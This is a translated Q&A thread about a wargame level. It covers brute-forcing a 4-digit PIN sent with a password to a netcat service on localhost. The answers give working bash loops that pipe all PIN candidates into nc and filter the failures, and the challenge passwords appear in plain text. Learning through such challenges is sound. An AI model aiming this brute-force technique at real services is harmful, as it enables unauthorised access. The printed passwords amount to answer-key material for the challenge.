我正在做一些挑战。这就是其中之一。我正在尝试使用密码暴力破解 4 位 PIN 码以获得我想要的答案。连接到端口后,它提示我输入密码,然后输入空格,然后输入 4 位 PIN 码。我尝试使用以下脚本暴力破解该引脚:
#!/bin/bash
nc localhost 30002
sleep 2
for i in {0000..9999};
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
但在我尝试做这样的事情之前,这似乎没有将 pass 和 pin 输入到标准输入 ->if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
我在这里做错了什么?
更新:
好吧,经过一番研究。我写了这个:
for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
这甚至可能有效,但正如您所看到的,它在循环中打开新的连接,这使得它非常慢并且耗尽系统。
答案1
这是一个快速且有效的工作答案:
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
您更新的答案非常慢。当填写错误的答案时,连接将继续存在。就像之前的答案所示,是 for 循环末尾的管道。如果您确实想知道正确的引脚,您可以在 echo that 之前添加一行echo "the correct pass: $1" > /tmp/correctpin.txt
。这与接收正确密码的目的无关。
答案2
那是因为你不是讲述您的脚本将任何内容写入 的nc
标准输入。你的脚本启动netcat,等待它终止,然后sleep
在执行循环之前 s 两秒钟for
。您可能需要一个诸如以下的构造:
for i in {0000..9999}; do
: stuff
done | nc localhost 30002
答案3
您可以将循环通过管道传输到 netcat 连接并将输出写入文件中,如下所示:
#!/bin/bash
touch f.txt
for i in {0000..9999}
do
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002 > f.txt
cat f.txt | grep -v Wrong
如果它挂起并且没有完成循环,您可以将其分成 2 部分,每部分 5000 次迭代:
#!/bin/bash
for j in {0000..5000}
do
str1="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $j"
echo $str1
done | nc localhost 30002 > f.txt
cat f.txt | grep -v Wrong
sleep 5
for i in {5000..9999}
do
str2="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
echo $str2
done | nc 127.0.0.1 30002 > f.txt
cat f.txt |grep -v Wrong
答案4
获取 bandit25 密码的单行代码:
for i in {0000..9999}; do echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"; done | nc localhost 30002 | grep -v "Wrong!"
密码-PIN 组合将使用 for 循环传递,并且grep -v
不会打印不必要的输出。